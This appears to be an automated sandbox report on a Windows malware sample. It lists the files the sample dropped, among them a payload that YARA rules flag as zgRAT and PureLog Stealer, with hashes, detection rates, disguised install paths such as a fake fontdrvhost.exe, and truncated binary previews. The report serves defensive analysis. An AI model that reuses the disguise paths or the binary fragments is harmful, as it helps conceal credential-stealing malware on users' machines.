Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.................=... ...@....... ....................................@..................................<..W....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................=......H.......<&.............................................................................................................V...}..................0..C.......(....o.......(....(....o.......(....s......(...........o....o.......0..'.......s.......(....o.....o........,..o......*..................0.............{........&.r...p.{....r;..p(....}.....s....}.....{........[.{.....{....o....(....s....rQ..po.....{.....{....o....(....s....ra..po......{....s....}.....{..........+.{.....{..

C:\Users\user\Desktop\JRcNKQWy.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\LtQnCbUd.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.0168086460579095
Encrypted:	false
SSDEEP:	96:b2+4Af/qPl98sgn8VenjzRR0xXzhZ7BiCTUk9v2G6/7jK6XsBG7hWuP9LfqpW0RQ:gCU8XKb7BDUieGi3jcBgLyB+b
MD5:	69546E20149FE5633BCBA413DC3DC964
SHA1:	29FEB42AB8B563FAFACFD27FAE48D4019A4CBCC2
SHA-256:	B48CA16B9BA2B44BF13051705B8E12D587D80262F57F7B2595AD1DD7854A86C6
SHA-512:	90D5F6C334B8064ED6DD002B03C57CEBBFAC1620D6CB2B79103DB0369D3A4FD82DB092E675F387AB0BDFE20303D9AC37F4E150896FC333E6F83B00269F012236
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......e...........!.................=... ...@....... ....................................@..................................<..W....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......$..............@..B.................=......H.......<&.............................................................................................................V...}..................0..C.......(....o.......(....(....o.......(....s......(...........o....o.......0..'.......s.......(....o.....o........,..o......*..................0.............{........&.r...p.{....r;..p(....}.....s....}.....{........[.{.....{....o....(....s....rQ..po.....{.....{....o....(....s....ra..po......{....s....}.....{..........+.{.....{..

C:\Users\user\Desktop\OwXMDaSq.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\PjHeJXVW.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\SvkCuJlg.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.529329139831718
Encrypted:	false
SSDEEP:	384:ka1bzkw+rsI7GpusgGjLtdPh39rHjN61B7oezUCb2sI:ka5z3IifgGjJdPZ9rDYjtzUmI
MD5:	8AE2B8FA17C9C4D99F76693A627307D9
SHA1:	7BABA62A53143FEF9ED04C5830CDC3D2C3928A99
SHA-256:	0B093D4935BD51AC404C2CD2BB59E2C4525B97A4D925807606B04C2D3338A9BE
SHA-512:	DEFDF8E0F950AA0808AA463363B0091C031B289709837770489E25EC07178D19425648A4109F5EFD0A080697FA3E52F63AABF005A4CCD8235DF61BB9A521D793
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ...............................c....@.................................ts..W.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H........O...#...........N......................................................................................................................................................................o+.tEy...7..o.v.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\UXZdmUkL.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\beESemrN.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\crKSmbgv.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lNXiOOwv.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\rFAHquBj.log

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rWShinUN.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.519109060441589
Encrypted:	false
SSDEEP:	384:RlLUkmZJzLSTbmzQ0VeUfYtjdrrE2VMRSKOpRP07PUbTr4e16AKrl+7T:RlYZnV7YtjhrfMcKOpjb/9odg7T
MD5:	0B2AFABFAF0DD55AD21AC76FBF03B8A0
SHA1:	6BB6ED679B8BEDD26FDEB799849FB021F92E2E09
SHA-256:	DD4560987BD87EF3E6E8FAE220BA22AA08812E9743352523C846553BD99E4254
SHA-512:	D5125AD4A28CFA2E1F2C1D2A7ABF74C851A5FB5ECB9E27ECECAF1473F10254C7F3B0EEDA39337BD9D1BEFE0596E27C9195AD26EDF34538972A312179D211BDDA
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ..............................vX....@.................................Xs..S.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H.......PO...$...........N......................................................................................................................................................................6...GN..n.....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rfCzNWvT.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	5.8769270258874755
Encrypted:	false
SSDEEP:	1536:p7Oc/sAwP1Q1wUww6vtZNthMx4SJ2ZgjlrL7BzZZmKYT:lOc/sAwP1Q1wUwhHBMx4a2iJjBzZZm9
MD5:	E9CE850DB4350471A62CC24ACB83E859
SHA1:	55CDF06C2CE88BBD94ACDE82F3FEA0D368E7DDC6
SHA-256:	7C95D3B38114E7E4126CB63AADAF80085ED5461AB0868D2365DD6A18C946EA3A
SHA-512:	9F4CBCE086D8A32FDCAEF333C4AE522074E3DF360354822AA537A434EB43FF7D79B5AF91E12FB62D57974B9ED5B4D201DDE2C22848070D920C9B7F5AE909E2CA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....F...........e... ........@.. ...............................@....@..................................e..S.................................................................................... ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B.................e......H.......p...(j..................................................................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k

C:\Users\user\Desktop\uNJXqjUH.log

Download File

Process:	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23552
Entropy (8bit):	5.529329139831718
Encrypted:	false
SSDEEP:	384:ka1bzkw+rsI7GpusgGjLtdPh39rHjN61B7oezUCb2sI:ka5z3IifgGjJdPZ9rDYjtzUmI
MD5:	8AE2B8FA17C9C4D99F76693A627307D9
SHA1:	7BABA62A53143FEF9ED04C5830CDC3D2C3928A99
SHA-256:	0B093D4935BD51AC404C2CD2BB59E2C4525B97A4D925807606B04C2D3338A9BE
SHA-512:	DEFDF8E0F950AA0808AA463363B0091C031B289709837770489E25EC07178D19425648A4109F5EFD0A080697FA3E52F63AABF005A4CCD8235DF61BB9A521D793
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....T...........s... ........@.. ...............................c....@.................................ts..W.................................................................................... ............... ..H............text....S... ...T.................. ..`.rsrc................V..............@..@.reloc...............Z..............@..B.................s......H........O...#...........N......................................................................................................................................................................o+.tEy...7..o.v.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\backgroundTaskHost.exe

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995264
Entropy (8bit):	7.563817177395898
Encrypted:	false
SSDEEP:	24576:3D3bq5QJoEoChSWB2yfXv3zXK8oH3y2e4OWURyGELRgROkTljwoLe/Jd0H1kI1n2:TTyyfXPzXKBy2GyGw4O0lmJIJ
MD5:	0F52130D0A1ABBE40D9F582B1F95A3E3
SHA1:	BEB72E7DCCFBFE80868AB9BA16B866A26D5B75D9
SHA-256:	C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
SHA-512:	290A2F7FEEB312016DE0DBA0BFAA85328D0BD643D9683655650C7807A0E0D2527584821B00D89AF5F5B55A77492939A2168A541F11E5807A12965EBDC1440A0E
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\backgroundTaskHost.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\backgroundTaskHost.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pg.................j.............. ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text....i... ...j.................. ..`.rsrc... ............l..............@....reloc...............p..............@..B........................H.......8..............................................................0..........(.... ........8........E............9.......8....(.... ....8....(.... ....~....{i...9....& ....8....(.... ....~....{....9....& ....8........0.......... ........8........E....1...........g...{.......8,.......~....(B...~....(F... ....<.... ....8....~....(:... .... .... ....s....~....(>....... ....8\|...~....:^... ....8h...8O... ....~....{....:O...& ....8D......... ....~....{....:...& ....8....r

C:\Users\user\eddb19405b7ce1

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with very long lines (332), with no line terminators
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.792023941284571
Encrypted:	false
SSDEEP:	6:qyhQoLB/z9yVQtkHUabjIuKsrQd7W+tYUNxQMzjhwguKDPL/iSKg3SK5sKu2:JhQoL99yVGwnftK+QTNx1zju+L93rs0
MD5:	43BB8FC2D4DF934A4B16C275DF01E5CD
SHA1:	297C6319983A50E4FDF47EE319FDC5D160E5F8E0
SHA-256:	873FE767A13D435940EDABB0739D8894CE91DCE77E6C8448A134BF398DEB24D7
SHA-512:	374B73AB08BC0B0BFE690EA5180E6BBB50921B4774F2D788C5FEAE91B9C3C314C734C63E313D13896055680C260F7869BF2F7008D1FC18AE9CA4841A285607D9
Malicious:	false
Preview:	Q6WvkjE7FMJvCgsti4Q06oZVXWxzuibAUhXSkogIIw2Relv21l9vv5XmgBYNvPMhvJaeJaJ3YHrKvI0vk48JjpOZKvwiQSW3jVgVKQtbcFXoNM0YKmn1QD7F4BUYoknFvykalelTKgrdSkL74XYnpfmgXaaI6Vx1bR2ZmZwpBTqtWexU0XdQMAaQMEDLEcXytzCArvVfkslWy2K2mFSi2gpb0mNiVllj52AgcxnEC8peZEbU3Ki8Jy6NJkKEiwJ9GCa62nazcNg31LCwK2oKCnZG5wW1mifPzpXXnfbPutf6SCW8iX3pI87dmUAFRjM4rRELxpIoaYaS

C:\Windows\IME\IMEKR\AdbXCBUViTnoVBSsOq.exe

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1995264
Entropy (8bit):	7.563817177395898
Encrypted:	false
SSDEEP:	24576:3D3bq5QJoEoChSWB2yfXv3zXK8oH3y2e4OWURyGELRgROkTljwoLe/Jd0H1kI1n2:TTyyfXPzXKBy2GyGw4O0lmJIJ
MD5:	0F52130D0A1ABBE40D9F582B1F95A3E3
SHA1:	BEB72E7DCCFBFE80868AB9BA16B866A26D5B75D9
SHA-256:	C0ECC22A4CC8EF912B7D1DE3DD48C9DC32CA053535AA71DA572AEB6F9C91D4AE
SHA-512:	290A2F7FEEB312016DE0DBA0BFAA85328D0BD643D9683655650C7807A0E0D2527584821B00D89AF5F5B55A77492939A2168A541F11E5807A12965EBDC1440A0E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 76%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....pg.................j.............. ........@.. ....................................@.....................................K....... ............................................................................ ............... ..H............text....i... ...j.................. ..`.rsrc... ............l..............@....reloc...............p..............@..B........................H.......8..............................................................0..........(.... ........8........E............9.......8....(.... ....8....(.... ....~....{i...9....& ....8....(.... ....~....{....9....& ....8........0.......... ........8........E....1...........g...{.......8,.......~....(B...~....(F... ....<.... ....8....~....(:... .... .... ....s....~....(>....... ....8\|...~....:^... ....8h...8O... ....~....{....:O...& ....8D......... ....~....{....:...& ....8....r

C:\Windows\IME\IMEKR\fdadf3e88d0159

Download File

Process:	C:\Drivers\fontdrvhost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	178
Entropy (8bit):	5.646136788982501
Encrypted:	false
SSDEEP:	3:NUSKE7dWNQoXX2MM9jON+3s/zACqkU5+EeBSD8LOM50l69Rj114XsM/HAGgcamz9:FKeWHWV6+Os15pFtUz1OXNHA5GpORnqP
MD5:	1ADE03E962C1A2719DE6DE0F65D32299
SHA1:	F680F5D9EB2FD844628646C8322277B38AC9868F
SHA-256:	F9AE5315A2C4B4EF130B714886CFB132EFF21E79FA3DC3AD4C5BB6CF920D0382
SHA-512:	750324ADA607D0B3D751D6FA0C94D8191731E91E831F4528D169BBC46BDA0079D12CF11F36A140FB5FFFBE4162C81623273DF0FCE9295F344E056859A37ED3C8
Malicious:	false
Preview:	Aaq7oakq1HlM3hd0OrM22SiexdXaDnak6d91ARIZxTeJ0uOt0bsqIvRs1MJLDKnOqBPahm06jxEiyZnDOnkl5ubKLR9xH7WnqQcyeyLNlvHVqt3ciG6ZkCS6kFPQnCylbb2i6ziZbWAJmGecXgOBA6Cn7fOZi5ji7g4P0Vftig7OBJUekx

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.614559420844397
Encrypted:	false
SSDEEP:	12:PhGI5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:pVdUOAokItULVDv
MD5:	1FD9C0E96FA0A2F8D565FE4FB213EB86
SHA1:	7DC87BCD84B5C867509BCC7634A7B5EAF4D1B9F7
SHA-256:	8F90D047643E2E46B67FF76F440B5C3CE391A3204025821D0B76F38BF42C90C8
SHA-512:	7FF19719E6C0F7F8D7CCC277195C039AFE6C1D83D952451CD0FEDCE200CD8538B6B166BE75B633A6842D9111CF8670283BCBFD55F4BB4BCB5D248935494DD742
Malicious:	false
Preview:	..Pinging 138727 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.501793091596948
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	eP6sjvTqJa.exe
File size:	2'317'084 bytes
MD5:	f0944c44a97161524ce95c9f8a2629f9
SHA1:	064fde39864f9095d21fde250473d0a39d6b15b3
SHA256:	06c99a90dd5ad6dfb77196b202d73b6cffe2915cf9edc372da859c62ac0bc2e7
SHA512:	31e579123e2a82b1bfe6fd357dd4e3ff65b32632879f554fcf22d3435b40682627ac6b07ca66fb3e9fd1bd03d6d2ccef709d42be21064e964e1513c5888ac504
SSDEEP:	24576:2TbBv5rUyXVRD3bq5QJoEoChSWB2yfXv3zXK8oH3y2e4OWURyGELRgROkTljwoLm:IBJZTyyfXPzXKBy2GyGw4O0lmJIJU
TLSH:	B2B5CF0675D18E73C2A157365567423D82A0DB2136A1EF0B3A4F20E6AD17BF08F726B3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	1515d4d4442f2d2d

Static PE Info

General

Entrypoint:	0x41f530
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
